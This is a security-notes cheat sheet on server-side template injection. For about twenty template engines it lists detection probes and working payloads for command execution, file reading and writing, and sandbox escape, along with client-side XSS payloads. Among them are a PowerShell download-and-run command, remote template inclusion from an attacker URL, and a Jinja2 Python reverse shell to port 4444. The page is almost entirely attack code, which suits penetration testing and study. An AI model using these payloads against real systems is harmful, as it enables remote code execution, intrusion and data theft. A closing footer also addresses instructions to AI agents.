> For the complete documentation index, see [llms.txt](https://security-notes.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security-notes.gitbook.io/security-notes/web-attacks/ssti.md).

# SSTI

## Testing for SSTI

Try submitting a fuzzed payload such as `${{<%[%'"}}%\` if a stack trace error is displayed then the application is vulnerable.

To distinguish between XSS and SSTI submit payloads that trigger mathematical operations such as `${2*2}` if the output is 4 then the vulnerability is aa SSTI

If the user input is included inside a code block follow these steps

1. Verify that the attack is not an XSS by passing a payload including HTML tags such as `str<b>test</b>` if the tags and the content included are not rendered then the vulnerability is not an XSS
2. Try to escape from the code block by submitting a payload as follow (adjust based on the engine's syntax): `}}<b>test</b>`
3. If the content of the code block is rendered correctly alongside the injected tags then the application is vulnerable to SSTI

## Server Side

### ASP

#### Identification

```
<%= 7*7 %>
<%= "foo" %>
<%= response.write(date()) %>
```

#### Remote file inclusion

```
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('<path to ps1 script>')").StdOut.ReadAll() %>
```

### Java

#### Identification

```
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
```

#### Command execution

```
${T(java.lang.Runtime).getRuntime().exec('<cmd>')}
```

#### Get system variables

```
${T(java.lang.System).getenv()}
```

### Java - FreeMarker

#### Identification

```
${7*7}
#{7*7}
```

#### Command execution

```
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("<cmd>")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('<cmd>')}
${"freemarker.template.utility.Execute"?new()("<cmd>")}
```

#### File read

```
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('<path>').toURL().openStream().readAllBytes()?join(" ")}
```

#### Sandbox escape

requires FreeMarker version < 2.3.30

```
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("<cmd>")}
```

### Java - Velocity

#### Identification

```
$class.type
$class.inspect("java.lang.Runtime").type
```

#### Blind command execution

```
$ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("<cmd>")
```

#### Command execution

```
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("<cmd>"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

### Java - Thymeleaf

#### Identification

```
${7*7}
[[${7*7}]]
[(${7*7})]
```

#### Command execution

```
${T(java.lang.Runtime).getRuntime().exec('<cmd>')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("<cmd>")}
```

### Java - Pebble

#### Identification

```
{{ someString.toUPPERCASE() }}
```

#### Command execution

Version < 3.0.9

```
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('<cmd>') }}
```

Newer versions

```
{% set cmd = '<cmd>' %}


{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}
```

### Java - JinJava

#### Identification

```
{{'a'.toUpperCase()}} would result in 'A'
{{ request }}
```

#### Command execution

```
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('<cmd>')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
#command with arguments
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\",\\\"<first arg>\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```

### NodeJs

#### Code execution via handlebars

```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

#### Code execution via JsRenderer

```
{{:"a".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('<cmd>').toString()")()}}
```

#### XSS via JsRenderer

```
{{:%22a%22.toString.constructor.call({},%22<XSS payload>%22)()}}
```

### NodeJs - Jade

#### Identification

```
#{{7*7}}
```

#### Command execution

```
#{root.process.mainModule.require('child_process').spawnSync('<cmd>', ['<arg>']).stdout}
```

#### Command execution as subprocess

Useful for spawning independent shells

```
var x = root.process
x = x.mainModule.require
x = x('child_process')
x.exec('<cmd>')
```

### NodeJs - PugJs

#### Identification

```
#{{7*7}}
```

#### Command execution

```
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('<cmd>')}()}
```

### NodeJs - NUNJUCKS

#### Identification

```
{{console.log(1)}}
```

#### Command execution

```
{{range.constructor("return global.process.mainModule.require('child_process').execSync('<cmd>')")()}}
```

### PHP - Smarty

#### Identification

```
{$smarty.version}
```

#### Command execution

```
{php}echo `<cmd>`;{/php}
{system('<cmd>')}
```

### PHP - Twig

#### Identification

```
{{7*7}}
{{7*'7'}}
{{_self}}
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
```

#### Command execution

```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("<cmd>")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("<cmd>")}}
{{['<cmd>']|filter('system')}}
```

#### File read

```
"{{'<file path>'|file_excerpt(1,30)}}"@
```

#### Remote file inclusion

```
{{_self.env.setCache("ftp://<url>")}}{{_self.env.loadTemplate("<template name>")}}
{{_self.env.setCache("http://<url>")}}{{_self.env.loadTemplate("<template name>")}}
```

### Python - Jinja2

#### Identification

```
{{7*'7'}} = '7777777'
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
```

#### Command execution

```
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"<cmd>\", \"<args>\"]);'").read().zfill(417)}}{%endif%}{% endfor %}


{{request.application.__globals__.__builtins__.__import__('os')['popen']('<cmd>')['read']()}}
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('<cmd>')['read']()}}
```

#### Command execution via GET parameter

Register the GET parameter

```
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.<param>).read()}}{%endif%}{%endfor%}

```

Send a request containing the given parameter with the code to execute as value. For instance a request can be `<url>/?<param>=<code>`

#### Read file

```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('<file>').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("<file>").read() }}
```

#### Write file

```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('<file>', 'w').write('<text to write>') }}
```

### Python - Tornado

#### Identification

```
{{7*7}}
{% import foobar %}

```

#### Command execution

```
{% import os %}
{{os.system('<cmd>')}}
```

### Python - Mako

#### Identification

```
{{7*7}}
```

#### Command execution

```
<%
import os
x=os.popen('<cmd>').read()
%>
```

### Ruby - ERB

#### Identification

```
<%= 7*7 %> = 49
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
```

#### Blind command execution

```
<%= system("<cmd>") %>
<%= `<cmd>` %>
```

#### Command execution

```
<%= IO.popen('<cmd>').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('<cmd>') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('<cmd>') %><%= @c.readline()%>
```

#### List folders

```
<%= Dir.entries('/') %>
```

#### Read file

```
<%= File.open('<file>').read %>
```

### Ruby - Slim

#### Identification

```
${7*7}
```

#### Blind command execution

```
{ %x|env| }
```

### .Net - Razor

#### Identification

```
@(2+2)
@()
@
```

#### Command execution

```
@System.Diagnostics.Process.Start("<cmd>","<args>");
```

## Client Side

### AngularJS

```
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```

### VueJS

```
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
{{_openBlock.constructor('alert(1)')()}}     //V3
{{constructor.constructor('alert(1)')()}}    //V2
```

### Mavo

```
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://security-notes.gitbook.io/security-notes/web-attacks/ssti.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
